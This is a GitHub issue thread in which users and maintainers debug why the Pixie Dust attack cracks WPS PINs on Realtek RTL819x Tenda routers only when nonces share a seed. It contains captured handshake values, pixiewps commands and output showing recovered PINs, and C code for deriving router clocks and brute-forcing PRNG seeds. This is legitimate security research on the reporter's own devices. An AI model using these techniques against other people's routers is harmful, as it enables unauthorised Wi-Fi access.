Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RTL819x pin is only cracked when e-nonce=es1=es2 #110

Open
rew1nter opened this issue Apr 11, 2023 · 34 comments
Open

RTL819x pin is only cracked when e-nonce=es1=es2 #110

rew1nter opened this issue Apr 11, 2023 · 34 comments

Comments

@rew1nter
Copy link

I'm running this with the required flags and sometimes with the --force flag against my home router. I've been noticing pixiewps is only able to crack the WPS pin when the e-nonce and esX are generated at the same second. For this chip, Isn't it supposed to decrement the epoch and try to calculate the e-nonce with the --force flag?

I suck at C but still tried to run the yura random generator locally with the epoch values of the handshake time. Surprisingly I never got a value that matches the generated e-nonce, which is not supposed to happen cause the epoch is used at some point at the handshake time to generate this nonce. Could it be that the random generator functions have a bug or got changed in the firmware?

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 11, 2023

epoch values of the handshake time.

you're taking the value from the router or from your pc ? routers almost never have a correct clock, but you can derive its current time from the 64bit uptime timestamp in beacon packets (see reaver commit cc550c473b80ff66cbb86ce4c2d7b42b4f7a06b9) plus the routers hardcoded reset date (for example 01.01.2010). we use this in pixiewrapper.c combined with reaver's new unadvertised option -u (commit a7b390853bb87639d86bb2d1eee16d8f5646c065)

pixiewps is only able to crack the WPS pin when the e-nonce and esX are generated at the same second.

is the router so slow that it usually takes longer than a fraction of a second to calculate these ?

@soxrok2212
Copy link

soxrok2212 commented Apr 11, 2023

is the router so slow that it usually takes longer than a fraction of a second to calculate these ?

Realtek... considering they haven't made a chip since 802.11n was new, probably yes, it is that slow.

@rew1nter
Copy link
Author

rew1nter commented Apr 12, 2023

you're taking the value from the router or from your PC ?

I'm taking the epoch value from my PC. This is probably why I couldn't generate a matching hash with the yura code.

is the router so slow that it usually takes longer than a fraction of a second to calculate these ?

Yes. I tested this with two RTL819x chip routers and both of them barely ever generate these 3 hashes within a second. When it does, pixiewps successfully cracks. Otherwise fails.

timestamp in beacon packets

Since I couldn't get pixiewps nor reaver to work. I was collecting the data myself with wpa_supplicant. Do you know if wpa_supplicant shows this piece of data during handshake?

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 12, 2023

This is probably why I couldn't generate a matching hash with the yura code.

just let the yura code print all possible combinations together with the corresponding epoch and pipe the output into grep, and look for the values you have.

I was collecting the data myself with wpa_supplicant

i'd do it with wireshark

Do you know if wpa_supplicant shows this piece of data during handshake?

yes, check the python code in my oneshot repo to see how you can get the values

@rew1nter
Copy link
Author

Okay things just got way harder. Turns out the router clock ticks at an irregular speed. These timestamps are from 4 subsequent broadcast messages in wireshark, sent from my router within about 10 seconds

send this

The timestamp goes back to 0 on reboot and the router starts incrementing the epoch with randomly generated large numbers as it starts. Considering we have to brute force each nonce with 10k pins, this will take way longer.

We need some kind of automation to get the timestamps of the router when the handshake starts and ends to reduce the whole bruteforce time as much as possible.

@rew1nter
Copy link
Author

wireshark
For the sanity check, This is where I got the timestamp.

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 12, 2023

the timestamp isn't the epoch. you gotta divide it by some value, the code to do it is in pixiewrapper.c, then add it to the router's startdate, as i already explained

+static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp) {
+#define TSTP_SEC 1000000ULL /* 1 MHz clock -> 1 million ticks/sec */
+#define TSTP_MIN (TSTP_SEC * 60ULL)
+#define TSTP_HOUR (TSTP_MIN * 60ULL)
+#define TSTP_DAY (TSTP_HOUR * 24ULL)
+	unsigned days = timestamp / TSTP_DAY;
+	struct tm tms = {
+		.tm_mday = 1,
+		.tm_mon = *month - 1,
+		.tm_year = *year - 1900
+	};
+	time_t start = mktime(&tms);
+	unsigned secs = days * (24*60*60);
+	start += secs;
+	struct tm *result = gmtime(&start);
+	*year = result->tm_year + 1900;
+	*month = result->tm_mon + 1;
+}

@rew1nter
Copy link
Author

rew1nter commented Apr 12, 2023

then add it to the router's startdate

Sorry I lost you there. How do you obtain a router's start date?

And then how do you go about finding the timestamp that was used to generate the es1/es2?


Btw this is how I'm running the function
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <getopt.h>
#include <pthread.h>
#include <limits.h>
#include <assert.h>

static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp);

int main(int argc, char* argv[]) {
    int year = 2023, month = 4;
    //uint64_t timestamp = 7153766809;
    uint64_t timestamp = atoi(argv[1]);
    add_beacon_timestamp(&year, &month, timestamp);
    return 0;
}


static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp) {
#define TSTP_SEC 1000000ULL /* 1 MHz clock -> 1 million ticks/sec */
#define TSTP_MIN (TSTP_SEC * 60ULL)
#define TSTP_HOUR (TSTP_MIN * 60ULL)
#define TSTP_DAY (TSTP_HOUR * 24ULL)
	unsigned days = timestamp / TSTP_DAY;
	struct tm tms = {
		.tm_mday = 1,
		.tm_mon = *month - 1,
		.tm_year = *year - 1900
	};
	time_t start = mktime(&tms);
	unsigned secs = days * (24*60*60);
	start += secs;
	struct tm *result = gmtime(&start);
	*year = result->tm_year + 1900;
	*month = result->tm_mon + 1;
    printf("%d", start);
}

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 12, 2023

Btw this is how I'm running the function

also print year and month after add_beacon_timestamp

How do you obtain a router's start date?

by rebooting/reseting it and then looking into its web interface

And then how do you go about finding the timestamp that was used to generate the es1/es2?

by checking every possible value. that's why i recommended you to write a program that uses yura code to print each possible value for a 32bit time_t unix epoch and then grep for the values you're interested in.

do you have one or more sets of values that router used for the WPS tx ?

@rew1nter
Copy link
Author

Ugh. I'm failing to wrap my head around this.
I'll try again.

So to calculate the es1 that was generated a few seconds after the enonce, I need the epoch value of the second it was generated in. Now here I cant just take the current epoch value from my computer and generate the es1 hashes for the next few seconds, cause the router has a different clock. So I get the current time of the router, before WPS handshake, with add_beacon_timestamp function. Then I keep incrementing the epoch value I got from this function and generating an es1 for every value, with the yura code. I keep going until I find the es1 that cracks the ehash1.

Did I get it right?

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 12, 2023

So I get the current time of the router, before WPS handshake, with add_beacon_timestamp function.

only when you know the router's reset date, which you pass as initial value to the function (month/year). the func then calculates the uptime in seconds and adds it to the values in month/year, that's why i said you should print them afterwards.
you could also calculate the router's epoch by brute-forcing the epoch using enonce and reset date by subtracting the beacon timestamp divided by (10000006060*24) from that epoch.

if you can give me an enonce with the timestamp of the last beacon before it, i can take a look. there's also a channel #reaver on irc.libera.chat where we could look at a pcap recorded with wireshark (assuming you dont wanna publically share the capture due to bssid/essid).

@rew1nter
Copy link
Author

only when you know the router's reset date

Welp. How do you know a router's reset date that you don't own?

that's why i said you should print them afterwards.

Am I printing correctly?

...
	start += secs;
	struct tm *result = gmtime(&start);
	*year = result->tm_year + 1900;
	*month = result->tm_mon + 1;
    printf("%d\n", start);
    printf("month %d\n", &month);
    printf("year %d\n", &year);
}

pcap recorded with wireshark

Wireshark doesn't record anything when wpa_supplicant is running. How do I make it work?

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 12, 2023

Am I printing correctly?

no. replace & with *.

Wireshark doesn't record anything when wpa_supplicant is running. How do I make it work?

use monitor mode and reaver, or oneshot once in verbose mode, then paste the output here. it prints e-nonce, es1, etc. also provide a beacon timestamp that was shortly before using oneshot.

@rew1nter
Copy link
Author

Beacon timestamp a second before the handshake: 136240333209

Data from oneshot:

[*] Associating with AP…
[+] Associated with E8:65:D4:16:CE:20 (ESSID: Tenda_16)
[*] Sending EAPOL Start…
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[P] E-Nonce: 173EA68A6C34BC4B7FD6EF5A770C6FC3
[*] Sending WPS Message M2…
[P] PKR: 17B0C7FC3601A65D50655BA397A204521C1D823C6DC637E82659A13B4D883877E4C3C01BA285006E04A29DCFD8E0AE5DBF68B816F29AFCFC97538A13114BCD7CD5EE52EBB230BA4BD7FBF7F4EBDAA21DAF802D1E5F8B7EF3D91F5A1C67368F80A553746DFF84A3A834882CB3068FD7126852B3C377DB6FE66746CBEE8D1694A43B81D4142AE39EC36EF7E850D831A6787C4979D21A9F3A6D6632FF48B1AFFE0E427AC6B638821AEB22BCF6092A838A9E6BC15C04A481C4181550761CE043FE91
[P] PKE: D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B
[P] AuthKey: C1CD839803DC709B7CD8DD2135C8B3DB42763CF59B31ED69EE923DF9A1A5E83F
[*] Received WPS Message M3
[P] E-Hash1: 45A0E8A5E32C7FE7E4FA4324B5D76A6DFD9F308C85A30B88A11910B95CC51E1A
[P] E-Hash2: 23998D2B07B177E1DBA20F634B48D57072A1C3449DA0FB80F76DD2E0C98BD908
[*] Sending WPS Message M4…
[*] Received WSC NACK
[-] Error: wrong PIN code

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 13, 2023

thanks. i used your data as input for pixiewps, and set a breakpoint on pixiewps.c:116, but there's no unix epoch which would create your enonce with the usual rtl algorithm. only 2 epochs at all create the suiting first 4 bytes of the enonce, which would be 390942466 and 2397812789. so it seems to me that router model uses a different algorithm. since you said in the title of this issue " RTL819x pin is only cracked when e-nonce=es1=es2", did you actually happen to crack the pin once ?

@rew1nter rew1nter reopened this Apr 13, 2023
@rew1nter
Copy link
Author

rew1nter commented Apr 13, 2023

I accidentally closed the issue

there's no unix epoch which would create your enonce with the usual rtl algorithm

I was afraid it's the case initially

did you actually happen to crack the pin once ?

About 10 times over last 6 days. I have the pixiewps output and handshake data saved for one as well.

The other router is slower. That was only cracked once in last 15 days.

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 13, 2023

got some data (for example full pixiewps command line) for those times it worked ? since you already got the pins, you should be able to just run oneshot on them with verbose and pixiemode switch until pixiewps succeeds without fearing to be locked out.

@rew1nter
Copy link
Author

rew1nter commented Apr 13, 2023

There you go

oneshot output
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with E8:65:D4:16:8D:40 (ESSID: Snowscan)
[*] Sending EAPOL Start…
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[P] E-Nonce: 732C8688324E61EF6D2E3BC92E801FF9
[*] Sending WPS Message M2…
[P] PKR: 4E6723AFE271E8E5396B1787F004B3A6F0FCDA294EA43F3E6F6A588AF50CD13536E89B9DE4669ED4992DC34B9ECAA913FFACE7DAAF392ECC1182584402467339659E5323AAD713A1D87C4673B90B0A6331C02CDE52D104DE60AFD0EACEDB00B4200AC85B6AB86E77BC4CAFB7945F766792C64FB1EE02542500F7E7507E581E6A44C60025F538C6E3240C9B2BC110187310A490D36D1C327246116338C27009A839826F68357EF2A8C526F38E0A353B3187D948AB8513EF36F38B6183391AE5C4
[P] PKE: D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B
[P] AuthKey: 6C43DAD2F5632954DDA57D4C44961ED8D5F8959A34A57BB8B5595DB76FA64B24
[*] Received WPS Message M3
[P] E-Hash1: F649FA3776E53B50E649C5AEDE73B2D554E425BA43A5A217985695BCC9234408
[P] E-Hash2: 0086454B5FB7AFC54195E4F65E2ED1218DE187A3ACCF2671555DB71C751B9DB1
[*] Sending WPS Message M4…
[*] Received WSC NACK
[-] Error: wrong PIN code
[*] Running Pixiewps…

 Pixiewps 1.4

 [?] Mode:     3 (RTL819x)
 [*] Seed N1:  -
 [*] Seed ES1: -
 [*] Seed ES2: -
 [*] PSK1:     8113aa826ded95c2952a89240ab5b0ae
 [*] PSK2:     2f53a675985d7125dbedc14c6738706a
 [*] ES1:      732c8688324e61ef6d2e3bc92e801ff9
 [*] ES2:      732c8688324e61ef6d2e3bc92e801ff9
 [+] WPS pin:  92808805

 [*] Time taken: 0 s 26 ms

Of another time:

pixiewps -r B7B1F41FFF87E1633DD02AF754B9D90B09281C5670D988043E79D7A21870630B302E2C9A9B223A1119CFF91A1CA2F0056DE828C2FA50792B78FCC5451367BB430FE7051C245B266836320852CA01772F1F9B881AB6923425346F6EDC4B5C9D49A0F62746D59AE9DDC89940B6EB8DD0BB3FCFBFECA39FF00BDCEE9CC0D3522E3080053B7CE1D0868B232DCF498C623CBC2701F39064D5430C8D7878D9B8CA33C5B4EE5DEB0FB84B82B15A9A19C36BA6A7282E878D55FCC02A1B35E1A6A329FC00 -e D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B -s B20F953FF3FF4A282D12EE2617CCC2837C84E89202DD6E294ED794B537E668F0 -z 2E0EB9B1D0CB9DB1F862E2D4528E8936151427725312F947F14F37EDE38982BA -a 16D5C5F8DDE62FE0FE5AB4C281BB65A3ADE73F495C44479371D3292BD458C447 -n 115D35F90659961A1CDB12A577EABAEC

 Pixiewps 1.4

 [?] Mode:     3 (RTL819x)
 [*] Seed N1:  -
 [*] Seed ES1: -
 [*] Seed ES2: -
 [*] PSK1:     199f1b3f8d64d50e44b2c1489441f19c
 [*] PSK2:     070285fe69f62b03b777242c992f4d14
 [*] ES1:      115d35f90659961a1cdb12a577eabaec
 [*] ES2:      115d35f90659961a1cdb12a577eabaec
 [+] WPS pin:  92808805

 [*] Time taken: 0 s 42 ms

@rew1nter
Copy link
Author

it seems to me that router model uses a different algorithm

Could it be that the yura code is failing and the old random generator works?

@rew1nter
Copy link
Author

Are we hopeless with this?

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 17, 2023

i didn't have time over the weekend to investigate. are you certain this is the same router ? in the "not working" case the essid was Tenda_14.

@soxrok2212
Copy link

soxrok2212 commented Apr 17, 2023

i didn't have time over the weekend to investigate. are you certain this is the same router ? in the "not working" case the essid was Tenda_14.

Different BSSID too

@rew1nter
Copy link
Author

I already mentioned twice before I have two routers with the same chip

Yes. I tested this with two RTL819x chip routers

The other router is slower. That was only cracked once in last 15 days.


is the same router ?

No. It is the faster one

@rew1nter
Copy link
Author

and here is an example of pixiewps failing to crack Snowscan router

pixiewps
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with E8:65:D4:16:8D:40 (ESSID: Snowscan)
[*] Sending EAPOL Start…
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[P] E-Nonce: 687281DB2CAB4EE1335047811FBEBB6C
[*] Sending WPS Message M2…
[P] PKR: 0FA541C8F4119BADFF378CBE634C23E78D1B0B06A44D6A1D1506D1F971A58C68C0D65A165AEEB9E738204A0AA890E686E43220DAA583E18FB87FC4BA14FFA3F324CAAB8460773B97A0613400EAE9149959D5020A69F0187F4D980F6A6D111D68260B3B3CFDBD75BB32DB2BA7571AB650679997754506C726C2A0B273DF1502E7DD2B4610D400772C11E648F8E77B36CF2E2FD1579F0DE150396E1687FFCB2DDFCD0570116A16D9D487551AF401BA6363D5551FF204EF5AE4E10344983E11EE17
[P] PKE: D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B
[P] AuthKey: 1CCEAB451F266C504FCDA4D31051CCA59EB5A7DA178BCF42E00C854C7EC999BE
[*] Received WPS Message M3
[P] E-Hash1: 36E0FE81244D30E4973300CA47ADBD3968FE0D584A12496727973D64B2DE5A18
[P] E-Hash2: 966F853177D2AEE96DB3385A8AD24999FFECB749FFB0FDA356222187CD4297E9
[*] Sending WPS Message M4…
[*] Received WSC NACK
[-] Error: wrong PIN code
[*] Running Pixiewps…

 Pixiewps 1.4

 [-] WPS pin not found!

 [*] Time taken: 0 s 24 ms

 [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 20, 2023

thanks. by having the failing and working data from same router it's much more likely to figure out what happens. my gut feeling is that the router calls srand(time(0)) whenever it needs random bytes, but i will invegistate in depth soon.

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 20, 2023

btw oneshot has a command line option to always show the pixiewps command executed, which would have been helpful so i dont have to piece it together by hand.

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 21, 2023

ok, so after some thorough investigation it would appear that the PRNG used by these devices isn't the glibc one (i tried pre-yura variants too, no dice). since these devices are so slow i assume they're really old, so our best bet is to search git repos of uclibc and glibc for other PRNG variants that were in use before the current PRNG was introduced.
we need to find the PRNG that seeded with srand(X) produces the rand() sequence 0x687281db, 0x2cab4ee1, 0x33504781, 0x1fbebb6c

@soxrok2212
Copy link

Irrelevant, but what's funny is the static private/public enrollee key pair is still the same.

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 21, 2023

btw, in case you can get wash running, it would be helpful to see wash -j json output for both routers, there are usually clues like which year those devices were released.

@rew1nter
Copy link
Author

There you go

wash -j -s

Tenda_16:

{"bssid" : "E8:65:D4:16:CE:20", "essid" : "Tenda_16", "channel" : 7, "rssi" : -58, "vendor_oui" : "00E04C", "wps_version" : 32, "wps_state" : 2, "wps_locked" : 2, "wps_manufacturer" : "Realtek Semiconductor Corp.", "wps_model_name" : "RTL8xxx", "wps_model_number" : "EV-2009-02-06", "wps_device_name" : "Tenda Wireless AP Ecos", "wps_serial" : "123456789012347", "wps_uuid" : "63041253101920061228aabbccddeeff", "wps_response_type" : "03", "wps_primary_device_type" : "00060050f2040001", "wps_config_methods" : "2688", "dummy": 0}

Snowscan:

{"bssid" : "E8:65:D4:16:8D:40", "essid" : "Snowscan", "channel" : 3, "rssi" : -11, "vendor_oui" : "00E04C", "wps_version" : 32, "wps_state" : 2, "wps_locked" : 2, "wps_manufacturer" : "Realtek Semiconductor Corp.", "wps_model_name" : "RTL8xxx", "wps_model_number" : "EV-2009-02-06", "wps_device_name" : "Tenda Wireless AP Ecos", "wps_serial" : "123456789012347", "wps_uuid" : "63041253101920061228aabbccddeeff", "wps_response_type" : "03", "wps_primary_device_type" : "00060050f2040001", "wps_config_methods" : "2688", "dummy": 0}

I bought the Snowscan router three years ago. Don't know when the other one was bought.

@rew1nter
Copy link
Author

our best bet is to search git repos of uclibc and glibc for other PRNG variants

As you already know I suck at C. So unfortunately can't help you there. Is this doable tho?

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 23, 2023

Is this doable tho?

i checked out both glibc and uclibc git repos and went through the history. glibc changed their PRNG once in 1995 to the current version. since your router appears to have been produced in 2009, it is very unlikely it used the old version.
uclibc otoh changed it a couple of times, they used 3 different versions altogether, where the last version is the glibc one. however i couldn't get their old PRNGs to produce not even the first integer from the mentioned enonce. here's the code for reference, which has both old prngs which can be selected via a preprocessor define.

#ifdef ZX81_RNG
/*
 * This is my favorite tiny RNG, If you had a ZX81 you may recognise it :-)
 *								(RdeBath)
 */

#define MAXINT (((unsigned)-1)>>1)

static unsigned int sseed = 0;

int uclibc_rand(void)
{
	return (sseed = (((sseed + 1L) * 75L) % 65537L) - 1) & MAXINT;
}

void uclibc_srand(unsigned seed)
{
	sseed = seed;
}

#else

/*
 * This generator is a combination of three linear congruential generators
 * with periods or 2^15-405, 2^15-1041 and 2^15-1111. It has a period that
 * is the product of these three numbers.
 */

static  int seed1 = 1;
static  int seed2 = 1;
static  int seed3 = 1;

#define CRANK(a,b,c,m,s) 	\
	q = s/a;		\
	s = b*(s-a*q) - c*q;	\
	if(s<0) s+=m;

int uclibc_rand()
{
	int q;

	CRANK(206, 157, 31, 32363, seed1);
	CRANK(217, 146, 45, 31727, seed2);
	CRANK(222, 142, 133, 31657, seed3);

	return seed1 ^ seed2 ^ seed3;
}

#define UCLIBC_RAND_MAX 0x7fffffff
void uclibc_srand(unsigned int seed)
{
	seed &= UCLIBC_RAND_MAX;
	seed1 = seed % 32362 + 1;
	seed2 = seed % 31726 + 1;
	seed3 = seed % 31656 + 1;
}
#endif

#ifdef TEST
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
static __inline uint32_t end_bswap32(uint32_t __x)
{
        return (__x>>24) | (__x>>8&0xff00) | (__x<<8&0xff0000) | (__x<<24);
}
static uint32_t end_nop32(uint32_t __x) { return __x; }

int main() {
	static const unsigned want[] =
		{0x687281db, 0x2cab4ee1, 0x33504781, 0x1fbebb6c};
	unsigned i, j;
	for(i= 0; i < 0xffffffff; ++i) {
		uclibc_srand(i);
		for(j=0;j<4;++j)
			if(end_nop32(uclibc_rand()) != want[j]) break;
			else __asm__("int3");
		if(j==4) printf("%u\n", i);
	}
}
#endif

@rew1nter
Copy link
Author

Sigh. Would sending more enonce samples help or is it a dead end anyway?

@rofl0r
Copy link
Collaborator

rofl0r commented Apr 25, 2023

that could help. a possibility that i was pondering is that they use the glibc version before it was made threadsafe, and their entire wifi management app is one huge monolithic multithreaded monster, so other wifi-related tasks (such as sending beacons or handling connected clients) would access the same global PRNG state, in which case it would be possible that the wps code does srand(time(0)) and other threads call rand() during or even before the nonce generation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants